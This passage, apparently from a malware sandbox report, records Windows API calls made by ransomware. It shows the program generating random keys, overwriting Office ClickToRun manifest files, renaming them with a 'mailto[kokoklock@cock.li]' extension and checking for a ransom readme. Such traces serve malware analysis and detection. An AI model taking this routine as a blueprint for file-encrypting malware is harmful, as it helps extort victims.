Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.114] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34233c0) returned 1 [0074.114] RtlExitUserThread (Status=0x1) Thread: id = 622 os_tid = 0x3a8 [0074.108] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x20 [0074.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.109] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.110] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x184bfbe0 | out: lpFileSize=0x184bfbe0*=29766) returned 1 [0074.110] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x7442, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.110] ReadFile (in: hFile=0x944, lpBuffer=0x184bfbb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x184bfbb4*, lpNumberOfBytesRead=0x184bfbb0*=0x4, lpOverlapped=0x0) returned 1 [0074.115] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e0f0 [0074.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e370 [0074.115] NtQuerySystemTime (in: CurrentTime=0x184bfb8c | out: CurrentTime=0x184bfb8c*=132121176320033959) returned 0x0 [0074.115] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x233a01fa [0074.115] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x679399cd [0074.115] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x3ba980f8 [0074.115] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xe6373f5c [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x7f916f89 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x27607f79 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xf5d5a5e8 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x15511b3a [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x21274aec [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x604f42ba [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x7399daaa [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xecb95220 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xa79d5010 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xe4b464b3 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x1e650381 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x79f2558b [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xdd903a20 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x82f4853f [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xf66aa007 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x1ff40d71 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x97edc166 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x9f479371 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xda6a1c46 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x39fd810a [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x258eda43 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x9a227dae [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xb39ed22 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x600e242 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x7cc8277 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xa7d15291 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0x4e1af278 [0074.116] RtlRandom (in: Seed=0x184bfb98 | out: Seed=0x184bfb98) returned 0xa05770ed [0074.129] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.129] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x184bfb64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x184bfb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.131] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e0f0 [0074.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3c0 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3c0) returned 1 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.132] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x184bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x184bfb64*=0x4096, lpOverlapped=0x0) returned 1 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.132] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x7446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.132] WriteFile (in: hFile=0x944, lpBuffer=0x341e0f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x184bfb9c, lpOverlapped=0x0 | out: lpBuffer=0x341e0f0*, lpNumberOfBytesWritten=0x184bfb9c*=0x20, lpOverlapped=0x0) returned 1 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0f0) returned 1 [0074.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.132] WriteFile (in: hFile=0x944, lpBuffer=0x341e118*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x341e118*, lpNumberOfBytesWritten=0x184bfbb0*=0x8, lpOverlapped=0x0) returned 1 [0074.133] WriteFile (in: hFile=0x944, lpBuffer=0x184bfbc8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x184bfbc8*, lpNumberOfBytesWritten=0x184bfbb0*=0x4, lpOverlapped=0x0) returned 1 [0074.133] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x184bfbb0*=0x4, lpOverlapped=0x0) returned 1 [0074.133] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x184bfbb0*=0x6c, lpOverlapped=0x0) returned 1 [0074.133] WriteFile (in: hFile=0x944, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x184bfbb0*=0x20, lpOverlapped=0x0) returned 1 [0074.133] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x184bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x184bfbb0*=0x4, lpOverlapped=0x0) returned 1 [0074.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e118) returned 1 [0074.133] CloseHandle (hObject=0x944) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33e2008 [0074.133] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" [0074.133] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.134] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.135] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.135] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.135] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.135] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34234c0) returned 1 [0074.135] RtlExitUserThread (Status=0x1) Thread: id = 623 os_tid = 0xf4c [0074.130] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x20 [0074.130] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.130] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.131] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1853f9ec | out: lpFileSize=0x1853f9ec*=32926) returned 1 [0074.131] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x809a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.131] ReadFile (in: hFile=0x960, lpBuffer=0x1853f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x1853f9c0*, lpNumberOfBytesRead=0x1853f9bc*=0x4, lpOverlapped=0x0) returned 1 [0074.180] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e118 [0074.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3c0 [0074.180] NtQuerySystemTime (in: CurrentTime=0x1853f998 | out: CurrentTime=0x1853f998*=132121176320658848) returned 0x0 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xf77bc4ae [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xc9f30fdf [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xb7b2f921 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xd6aa7189 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x39441d66 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x8a53372 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x3faa373f [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xa2fe81c3 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xf25f3039 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xea1d0c6f [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x380f3ff4 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x5a576f9 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x959e3f33 [0074.180] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x3af86b82 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x8348000d [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xc1f6a893 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x7450de65 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x6c6a8f4f [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x3023a16 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x4746d60d [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x7a13b80e [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x89e5d723 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x7161da8b [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xb999648b [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xacb0459 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x623ff15d [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x5128733f [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xd0ec1d5a [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xeec49375 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xe046aa18 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0x61706889 [0074.181] RtlRandom (in: Seed=0x1853f9a4 | out: Seed=0x1853f9a4) returned 0xbfedb3b8 [0074.192] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.192] ReadFile (in: hFile=0x960, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1853f970, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x1853f970*=0x4096, lpOverlapped=0x0) returned 1 [0074.197] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0074.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0074.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e118 [0074.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e410) returned 1 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.198] WriteFile (in: hFile=0x960, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1853f970, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1853f970*=0x4096, lpOverlapped=0x0) returned 1 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.198] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x809e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.198] WriteFile (in: hFile=0x960, lpBuffer=0x341e118*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1853f9a8, lpOverlapped=0x0 | out: lpBuffer=0x341e118*, lpNumberOfBytesWritten=0x1853f9a8*=0x20, lpOverlapped=0x0) returned 1 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e118) returned 1 [0074.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.198] WriteFile (in: hFile=0x960, lpBuffer=0x341e140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x341e140*, lpNumberOfBytesWritten=0x1853f9bc*=0x8, lpOverlapped=0x0) returned 1 [0074.198] WriteFile (in: hFile=0x960, lpBuffer=0x1853f9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x1853f9d4*, lpNumberOfBytesWritten=0x1853f9bc*=0x4, lpOverlapped=0x0) returned 1 [0074.199] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1853f9bc*=0x4, lpOverlapped=0x0) returned 1 [0074.199] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1853f9bc*=0x6c, lpOverlapped=0x0) returned 1 [0074.199] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x1853f9bc*=0x20, lpOverlapped=0x0) returned 1 [0074.199] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1853f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1853f9bc*=0x4, lpOverlapped=0x0) returned 1 [0074.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0074.199] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0074.199] CloseHandle (hObject=0x960) returned 1 [0074.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x130) returned 0x341da40 [0074.199] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" [0074.199] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.199] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.200] SetFileAttributesW (lpFileName="C:\\Users\\All 